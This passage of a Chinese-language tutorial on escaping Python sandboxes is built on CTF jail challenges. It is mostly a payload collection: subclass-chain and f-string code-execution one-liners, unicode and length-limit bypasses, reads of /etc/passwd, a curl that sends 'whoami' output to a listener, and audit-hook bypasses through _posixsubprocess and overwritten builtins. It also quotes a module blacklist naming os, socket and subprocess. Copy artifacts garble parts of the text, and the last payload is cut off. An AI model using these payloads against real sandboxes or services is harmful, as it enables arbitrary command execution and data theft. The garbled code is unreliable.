or 可以用 + 、-、|来替换

例如

1
2
3
4
5
for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] or i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} | {i[2]==i[3]}')) == ans)
print(bool(eval(f'- {i[0]==i[1]} - {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} + {i[2]==i[3]}')) == ans)

and 可以用&、 *替代

例如

1
2
3
4
for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] and i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} & {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} * {i[2]==i[3]}')) == ans)

()绕过

利用装饰器 @

1
2
3
4
5
6
7
# 正常调用需要括号
# exec("__import__('os').system('ls')")

# 使用装饰器绕过
@exec
class A:
__doc__ = "__import__('os').system('ls')"

利用魔术方法,例如 enum.EnumMeta.__getitem__

1
2
3
4
5
6
7
8
9
10
11
import enum

# 利用EnumMeta的__getitem__魔术方法
@enum.EnumMeta.__getitem__
class A:
__path__ = "__import__"

# 然后可以继续链式调用
@A.__getitem__
class B:
__path__ = "os"

f 字符串执行

f 字符串算不上一个绕过,更像是一种新的攻击面,通常情况下用来获取敏感上下文信息,例如获取环境变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}

{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}

也可以直接 RCE

f'{__import__("os").system("whoami")}'
root

f"{__builtins__.__import__('os').__dict__['popen']('ls').read()}"

内建函数绕过

eval + list + dict 构造

假如我们在构造 payload 时需要使用 str 函数、bool 函数、bytes 函数等,则可以使用 eval 进行绕过。

1
2
3
4
5
6
eval('str')
<class 'str'>
eval('bool')
<class 'bool'>
eval('st'+'r')
<class 'str'>

这样就可以将函数名转化为字符串的形式,进而可以利用字符串的变换来进行绕过。

1
2
eval(list(dict(s_t_r=1))[0][::2])
<class 'str'>

这样一来,只要 list 和 dict 没有被禁,就可以获取到任意的内建函数(__buildin__)。如果某个模块已经被导入了,则也可以获取这个模块中的函数。

.获取获取函数

通常情况下,我们会通过点号来进行调用__import__('binascii').a2b_base64

或者通过 getattr 函数:getattr(__import__('binascii'),'a2b_base64')

如果将,和.都过滤了,则可以有如下的几种方式获取函数:

内建函数可以使用eval(list(dict(s_t_r=1))[0][::2]) 这样的方式获取。

模块内的函数可以先使用__import__导入函数,然后使用 vars() 进行获取:

1
2
vars(__import__('binascii'))['a2b_base64']
<built-in function a2b_base64>

unicode 绕过

Python 3 开始支持非ASCII字符的标识符,也就是说,可以使用 Unicode 字符作为 Python 的变量名,函数名等。Python 在解析代码时,使用的 Unicode Normalization Form KC (NFKC) 规范化算法,这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。

1
2
eval == 𝘦val
True

相似 unicode 寻找网站:http://shapecatcher.com/ 可以通过绘制的方式寻找相似字符

相似 unicode 脚本:

1
2
3
4
5
6
7
8
9
10
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
下面是 0-9,a-z 的 unicode 字符
1
2
3
𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗 𝘢𝘣𝘤𝘥𝘦𝘧𝘨𝘩𝘪𝘫𝘬𝘭𝘮𝘯𝘰𝘱𝘲𝘳𝘴𝘵𝘶𝘷𝘸𝘹𝘺𝘻  𝘈𝘉𝘊𝘋𝘌𝘍𝘎𝘏𝘐𝘑𝘒𝘔𝘕𝘖𝘗𝘘𝘙𝘚𝘛𝘜𝘝𝘞𝘟𝘠𝘡 

下划线可以使用对应的全角字符进行替换:_

使用时注意第一个字符不能为全角,否则会报错:

1
2
3
4
>>> print(__name__) __main__ 
>>> print(__name__)
File "<stdin>", line 1 print(__name__)
^ SyntaxError: invalid character '_' (U+FF3F)

需要注意的是,某些 unicode 在遇到 lower() 函数时也会发生变换,因此碰到 lower()、upper() 这样的函数时要格外注意。

绕过命名空间限制

部分限制

有些沙箱在构建时使用 exec 来执行命令,exec 函数的第二个参数可以指定命名空间,通过修改、删除命名空间中的函数则可以构建一个沙箱。例子来源于 iscc_2016_pycalc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def _hook_import_(name, *args, **kwargs):
module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
for forbid in module_blacklist:
if name == forbid: # don't let user import these modules
raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
# normal modules can be imported
return __import__(name, *args, **kwargs)

def sandbox_exec(command): # sandbox user input
result = 0
__sandboxed_builtins__ = dict(__builtins__.__dict__)
__sandboxed_builtins__['__import__'] = _hook_import_ # hook import
del __sandboxed_builtins__['open']
_global = {
'__builtins__': __sandboxed_builtins__
}
...
exec command in _global # do calculate in a sandboxed
...

沙箱首先获取 _builtins__,然后依据现有的 _builtins 来构建命名空间。
修改 __import__ 函数为自定义的_hook_import_
删除 open 函数防止文件操作
exec 命令。
绕过方式:

由于 exec 运行在特定的命名空间里,可以通过获取其他命名空间里的 __builtins__(这个__builtins__保存的就是原始__builtins__的引用),比如 types 库,来执行任意命令:

1
__import__('types').__builtins__ __import__('string').__builtins__ 
完全限制(no builtins)

如果沙箱完全清空了 builtins, 则无法使用 import,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
eval("__import__", {"__builtins__": {}},{"__builtins__": {}})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
NameError: name '__import__' is not defined
eval("__import__")
<built-in function __import__>
exec("import os")
exec("import os",{"__builtins__": {}},{"__builtins__": {}})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
ImportError: __import__ not found

这种情况下我们就需要利用 python 继承链来绕过,其步骤简单来说,就是通过 python 继承链获取内置类, 然后通过这些内置类获取到敏感方法例如 os.system 然后再进行利用。

具体原理可见:Python沙箱逃逸小结

常见的一些 RCE payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
os[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

# subprocess

[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0]('ls')

# builtins

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]

# help

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]['help']

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]['__builtins__']

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")

#imp
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

# ctypes

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('ctypes').CDLL(None).system('ls /'.encode())

# multiprocessing

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('multiprocessing').Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()


常见的一些 File payload 如下:

1
2
3
4
操作文件可以使用 builtins 中的 open,也可以使用 FileLoader 模块的 get_data 方法。

[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/etc/passwd")

绕过多行限制

绕过多行限制的利用手法通常在限制了单行代码的情况下使用,例如 eval, 中间如果存在;或者换行会报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
>>> eval("__import__('os');print(1)")
>>> Traceback (most recent call last):
>>> File "<stdin>", line 1, in <module>
>>> File "<string>", line 1
>>> __import__('os');print(1)
>>> 1


exec 可以支持换行符与;

>>> eval("exec('__import__(\"os\")\\nprint(1)')")
>>> 1
>>> 1
>>> 2
>>> compile

compile 在 single 模式下也同样可以使用 \n 进行换行, 在 exec 模式下可以直接执行多行代码.

eval('''eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))''')
1
海象表达式

海象表达式是 Python 3.8 引入的一种新的语法特性,用于在表达式中同时进行赋值和比较操作。

海象表达式的语法形式如下:

<expression> := <value> if <condition> else <value>
1
借助海象表达式,我们可以通过列表来替代多行代码:

>>> eval('[a:=__import__("os"),b:=a.system("id")]')
>>> uid=1000(kali) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
>>> [<module 'os' (frozen)>, 0]

>>> 绕过长度限制
>>> BYUCTF_2023 中的几道 jail 题对 payload 的长度作了限制

eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])

题目限制不能出现数字字母,构造的目标是调用 open 函数进行读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
print(open(bytes([102,108,97,103,46,116,120,116])).read())

函数名比较好绕过,直接使用 unicode。数字也可以使用 ord 来获取然后进行相减。我这里选择的是 chr(333).

# f = 102 = 333-231 = ord('ō')-ord('ç')

# a = 108 = 333-225 = ord('ō')-ord('á')

# l = 97 = 333-236 = ord('ō')-ord('ì')

# g = 103 = 333-230 = ord('ō')-ord('æ')

# . = 46 = 333-287 = ord('ō')-ord('ğ')

# t = 116 = 333-217 = ord('ō')-ord('Ù')

# x = 120 = = 333-213 = ord('ō')-ord('Õ')

print(open(bytes([ord('ō')-ord('ç'),ord('ō')-ord('á'),ord('ō')-ord('ì'),ord('ō')-ord('æ'),ord('ō')-ord('ğ'),ord('ō')-ord('Ù'),ord('ō')-ord('Õ'),ord('ō')-ord('Ù')])).read())

但这样的话其实长度超出了限制。而题目的 eval 表示不支持分号 ;。

这种情况下,我们可以添加一个 exec。然后将 ord 以及不变的 a(‘ō’) 进行替换。这样就可以构造一个满足条件的 payload

1
exec("a=ord;b=a('ō');print(open(bytes([b-a('ç'),b-a('á'),b-a('ì'),b-a('æ'),b-a('ğ'),b-a('Ù'),b-a('Õ'),b-a('Ù')])).read())") 

但其 实尝试之后发现这个 payload 会报错,原因在于其中的某些 unicode 字符遇到 lower() 时会发生变化,避免 lower 产生干扰,可以在选取 unicode 时选择 ord 值更大的字符。例如 chr(4434)

当然,可以直接使用 input 函数来绕过长度限制。

打开 input 输入

如果沙箱内执行的内容是通过 input 进行传入的话(不是 web 传参),我们其实可以传入一个 input 打开一个新的输入流,然后再输入最终的 payload,这样就可以绕过所有的防护。

以 BYUCTF2023 jail a-z0-9 为例:

1
eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130]) 

即使限制了字母数字以及长度,我们可以直接传入下面的 payload(注意是 unicode)

1
𝘦𝘷𝘢𝘭(𝘪𝘯𝘱𝘶𝘵()) 

这段 payload 打开 input 输入后,我们再输入最终的 payload 就可以正常执行。

1
__import__('os').system('whoami') 

打开输入流需要依赖 input 函数,no builtins 的环境中或者题目需要以 http 请求的方式进行输入时,这种方法就无法使用了。

下面是一些打开输入流的方式:

sys.stdin.read()

注意输入完毕之后按 ctrl+d 结束输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
>>> eval(sys.stdin.read())
>>> __import__('os').system('whoami')
>>> root
>>> 0
>
>1
>2
>3
>4
>5
>sys.stdin.readline()

>>> eval(sys.stdin.readline())
>>> __import__('os').system('whoami')
>>> 1
>>> 2
>>> sys.stdin.readlines()

>>> eval(sys.stdin.readlines()[0])
>>> __import__('os').system('whoami')
>>> 1
>>> 2
>>> 在python 2中,input 函数从标准输入接收输入之后会自动 eval 求值。因此无需在前面加上 eval。但 raw_input 不会自动 eval

breakpoint 函数

pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。

在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
--Return--
<stdin>(1)<module>()->None
(Pdb) __import__('os').system('ls')
a-z0-9.py exp2.py exp.py flag.txt
0
(Pdb) __import__('os').system('sh')
$ ls
a-z0-9.py exp2.py exp.py flag.txt
1
2
3
4
5
6
7
8
9

help 函数

help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh

当我们输入 help 时,注意要进行 unicode 编码,help 函数会打开帮助(不编码也能打开)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
𝘩𝘦𝘭𝘱() 

然后输入 os,此时会进入 os 的帮助文档。

help> os



然后再输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash

help> os
$ ls
a-z0-9.py exp2.py exp.py flag.txt

字符串叠加

参考[CISCN 2023 初赛]pyshell,通过_不断的进行字符串的叠加,再利用eval()进行一些命令的执行。

我们想执行的代码:import(“os”).popen(“tac flag”).read()

1
2
3
4
5
'__import__'
_+'("os").p'
_+'open("ta'
_+'c flag")'
_+'.read()'

变量覆盖与函数篡改

在 Python 中,sys 模块提供了许多与 Python 解释器和其环境交互的功能,包括对全局变量和函数的操作。在沙箱中获取 sys 模块就可以达到变量覆盖与函数擦篡改的目的.

sys.modules 存放了现有模块的引用, 通过访问 sys.modules[‘main‘] 就可以访问当前模块定义的所有函数以及全局变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
>>> aaa = 'bbb'
>>> def my_input():
>>> ... dict_global = dict()
>>> ... while True:
>>> ... try:
>>> ... input_data = input("> ")
>>> ... except EOFError:
>>> ... print()
>>> ... break
>>> ... except KeyboardInterrupt:
>>> ... print('bye~~')
>>> ... continue
>>> ... if input_data == '':
>>> ... continue
>>> ... try:
>>> ... complie_code = compile(input_data, '<string>', 'single')
>>> ... except SyntaxError as err:
>>> ... print(err)
>>> ... continue
>>> ... try:
>>> ... exec(complie_code, dict_global)
>>> ... except Exception as err:
>>> ... print(err)
>>> ...
>>> import sys
>>> sys.modules['__main__']
>>> <module '__main__' (built-in)>
>>> dir(sys.modules['__main__'])
>>> ['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'aaa', 'my_input', 'sys']
>>> sys.modules['__main__'].aaa
>>> 'bbb'

除了通过 sys 模块来获取当前模块的变量以及函数外,还可以通过 __builtins__篡改内置函数等,这只是一个思路.

总体来说,只要获取了某个函数或者变量就可以篡改, 难点就在于获取.

利用 gc 获取已删除模块

这个思路来源于 writeup by fab1ano – github

这道题的目标是覆盖 main 中的 __exit 函数,但是题目将 sys.modules[‘__main__‘] 删除了,无法直接获取.

1
2
3
for module in set(sys.modules.keys()):
if module in sys.modules:
del sys.modules[module]

gc 是Python的内置模块,全名为”garbage collector”,中文译为”垃圾回收”。gc 模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互。

Python 使用了引用计数作为其主要的内存管理机制,同时也引入了循环垃圾回收器来检测并收集循环引用的对象。gc 模块提供了一些函数,让你可以直接控制这个循环垃圾回收器。

下面是一些 gc 模块中的主要函数:

  1. gc.collect(generation=2):这个函数会立即触发一次垃圾回收。你可以通过 generation 参数指定要收集的代数。Python 的垃圾回收器是分代的,新创建的对象在第一代,经历过一次垃圾回收后仍然存活的对象会被移到下一代。

  2. gc.get_objects():这个函数会返回当前被管理的所有对象的列表。

  3. gc.get_referrers(*objs):这个函数会返回指向 objs 中任何一个对象的对象列表。

exp 如下

1
2
3
4
5
6
7
8
9
for obj in gc.get_objects():
if '__name__' in dir(obj):
if '__main__' in obj.__name__:
print('Found module __main__')
mod_main = obj
if 'os' == obj.__name__:
print('Found module os')
mod_os = obj
mod_main.__exit = lambda x : print("[+] bypass")

在 3.11 版本和 python 3.8.10 版本中测试发现会触发 gc.get_objects hook 导致无法成功.

利用 traceback 获取模块

这个思路来源于 writeup by hstocks – github

主动抛出异常, 并获取其后要执行的代码, 然后将__exit__ 进行替换, 思路也是十分巧妙.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
try:
raise Exception()
except Exception as e:
_, _, tb = sys.exc_info()
nxt_frame = tb.tb_frame
# Walk up stack frames until we find one which
# has a reference to the audit function
while nxt_frame:
if 'audit' in nxt_frame.f_globals:
break
nxt_frame = nxt_frame.f_back

# Neuter the __exit function
nxt_frame.f_globals['__exit'] = print

# Now we're free to call whatever we want
os.system('cat /flag*')

但是实际测试时使用 python 3.11 发现 nxt_frame = tb.tb_frame 会触发 object.getattr hook. 不同的版本中触发 hook 的地方会有差异,这个 payload 可能仅在 python 3.9 (题目版本)中适用

绕过 audit hook

Python 的审计事件包括一系列可能影响到 Python 程序运行安全性的重要操作。这些事件的种类及名称不同版本的 Python 解释器有所不同,且可能会随着 Python 解释器的更新而变动。

Python 中的审计事件包括但不限于以下几类:

  • import:发生在导入模块时。
  • open:发生在打开文件时。
  • write:发生在写入文件时。
  • exec:发生在执行Python代码时。
  • compile:发生在编译Python代码时。
  • ocket:发生在创建或使用网络套接字时。
  • os.system,os.popen等:发生在执行操作系统命令时。
  • subprocess.Popen,subprocess.run等:发生在启动子进程时。
  • PEP 578 – Python Runtime Audit Hooks

calc_jail_beginner_level6 这道题中使用了 audithook 构建沙箱,采用白名单来进行限制.audit hook 属于 python 底层的实现,因此常规的变换根本无法绕过.

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import sys

def my_audit_hook(my_event, _):
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
if my_event not in WHITED_EVENTS:
raise RuntimeError('Operation not permitted: {}'.format(my_event))

def my_input():
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)


def main():
WELCOME = '''

_ _ _ _ _ _ _ __

| | (_) (_) (_) | | | | | / /
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| |/ /_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | (_) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
__/ | _/ |
|___/ |__/
'''

CODE = '''
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("White list of audit hook ===> builtins.input,builtins.input/result,exec,compile")
print("Some code of python jail:")
print(CODE)
my_input()

if __name__ == "__main__":
sys.addaudithook(my_audit_hook)
main()

这道题需要绕过的点有两个:

绕过 import 导入模块. 如果直接使用 import,就会触发 audithook

1
2
3
4
__import__('ctypes')
Operation not permitted: import

绕过常规的命令执行方法执行命令. 利用 os, subproccess 等模块执行命令时也会触发 audithook

调试技巧

本地调试时可以在 hook 函数中添加打印出 hook 的类型.

1
2
3
4
5
def my_audit_hook(my_event, _):
print(f'[+] {my_event}, {_}')
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
if my_event not in WHITED_EVENTS:
raise RuntimeError('Operation not permitted: {}'.format(my_event))

这样在测试 payload 时就可以知道触发了哪些 hook

1
2
3
4
import os
[+] builtins.input/result, ('import os',)
[+] compile, (b'import os', '<string>')
[+] exec, (<code object <module> at 0x7f966795bec0, file "<string>", line 1>,)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__loader__.load_module 导入模块

__loader__.load_module(fullname) 也是 python 中用于导入模块的一个方法并且不需要导入其他任何库.

__loader__.load_module('os')

__loader__ 实际上指向的是 _frozen_importlib.BuiltinImporter 类,也可以通过别的方式进行获取

>>> ().__class__.__base__.__subclasses__()[84]
>>> <class '_frozen_importlib.BuiltinImporter'>
>>> __loader__
>>> <class '_frozen_importlib.BuiltinImporter'>
>>> ().__class__.__base__.__subclasses__()[84].__name__
>>> 'BuiltinImporter'
>>> [x for x in ().__class__.__base__.__subclasses__() if 'BuiltinImporter' in x.__name__][0]
>>> <class '_frozen_importlib.BuiltinImporter'>
>>> 1
>>> 2
>>> 3
>>> 4
>>> 5
>>> 6
>>> 7
>>> 8
>>> __loader__.load_module 也有一个缺点就是无法导入非内建模块. 例如 socket

>>> __loader__.load_module('socket')
>>> Traceback (most recent call last):
>>> File "<stdin>", line 1, in <module>
>>> File "<frozen importlib._bootstrap>", line 290, in _load_module_shim
>>> File "<frozen importlib._bootstrap>", line 721, in _load
>>> File "<frozen importlib._bootstrap>", line 676, in _load_unlocked
>>> File "<frozen importlib._bootstrap>", line 573, in module_from_spec
>>> File "<frozen importlib._bootstrap>", line 776, in create_module
>>> ImportError: 'socket' is not a built-in module

_posixsubprocess 执行命令

_posixsubprocess 模块是 Python 的内部模块,提供了一个用于在 UNIX 平台上创建子进程的低级别接口。subprocess 模块的实现就用到了 _posixsubprocess.

该模块的核心功能是 fork_exec 函数,fork_exec 提供了一个非常底层的方式来创建一个新的子进程,并在这个新进程中执行一个指定的程序。但这个模块并没有在 Python 的标准库文档中列出,每个版本的 Python 可能有所差异.

在我本地的 Python 3.11 中具体的函数声明如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def fork_exec(
__process_args: Sequence[StrOrBytesPath] | None,
__executable_list: Sequence[bytes],
__close_fds: bool,
__fds_to_keep: tuple[int, ...],
__cwd_obj: str,
__env_list: Sequence[bytes] | None,
__p2cread: int,
__p2cwrite: int,
__c2pred: int,
__c2pwrite: int,
__errread: int,
__errwrite: int,
__errpipe_read: int,
__errpipe_write: int,
__restore_signals: int,
__call_setsid: int,
__pgid_to_set: int,
__gid_object: SupportsIndex | None,
__groups_list: list[int] | None,
__uid_object: SupportsIndex | None,
__child_umask: int,
__preexec_fn: Callable[[], None],
__allow_vfork: bool,
) -> int: ...

__process_args: 传递给新进程的命令行参数,通常为程序路径及其参数的列表。
__executable_list: 可执行程序路径的列表。
__close_fds: 如果设置为True,则在新进程中关闭所有的文件描述符。
__fds_to_keep: 一个元组,表示在新进程中需要保持打开的文件描述符的列表。
__cwd_obj: 新进程的工作目录。
__env_list: 环境变量列表,它是键和值的序列,例如:[“PATH=/usr/bin”, “HOME=/home/user”]。
__p2cread, __p2cwrite, __c2pred, __c2pwrite, __errread, __errwrite: 这些是文件描述符,用于在父子进程间进行通信。
__errpipe_read, __errpipe_write: 这两个文件描述符用于父子进程间的错误通信。
__restore_signals: 如果设置为1,则在新创建的子进程中恢复默认的信号处理。
__call_setsid: 如果设置为1,则在新进程中创建新的会话。
__pgid_to_set: 设置新进程的进程组 ID。
__gid_object, __groups_list, __uid_object: 这些参数用于设置新进程的用户ID 和组 ID。
__child_umask: 设置新进程的 umask。
__preexec_fn: 在新进程中执行的函数,它会在新进程的主体部分执行之前调用。
__allow_vfork: 如果设置为True,则在可能的情况下使用 vfork 而不是 fork。vfork 是一个更高效的 fork,但是使用 vfork 可能会有一些问题 。

下面是一个最小化示例:

1
2
3
4
import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)xxxxxxxxxx import osimport _posixsubprocess_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)1 2 3 4 import os import _posixsubprocess _posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

结合上面的 loader.load_module(fullname) 可以得到最终的 payload:

1
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)

可以看到全程触发了 builtins.input/result, compile, exec 三个 hook, 这些 hook 的触发都是因为 input, compile, exec 函数而触发的, loader.load_module 和 _posixsubprocess 都没有触发.

1
2
3
[+] builtins.input/result, ('__loader__.load_module(\'_posixsubprocess\').fork_exec([b"/bin/cat","/flag"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(\'os\').pipe()), False, False,False, None, None, None, -1, None, False)',)
[+] compile, (b'__loader__.load_module(\'_posixsubprocess\').fork_exec([b"/bin/cat","/flag"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(\'os\').pipe()), False, False,False, None, None, None, -1, None, False)', '<string>')
[+] exec, (<code object <module> at 0x7fbecc924670, file "<string>", line 1>,)

另一种解法: 篡改内置函数

这道 audit hook 题还有另外一种解法.可以看到白名单是通过 set 函数返回的, set 作为一个内置函数实际上也是可以修改的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'}) 

比如我们将 set 函数修改为固定返回一个包含了 os.system 函数的列表

__builtins__.set = lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']
1
这样 set 函数会固定返回带有 os.system 的列表.

__builtins__.set = lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']
1
最终 payload:

#
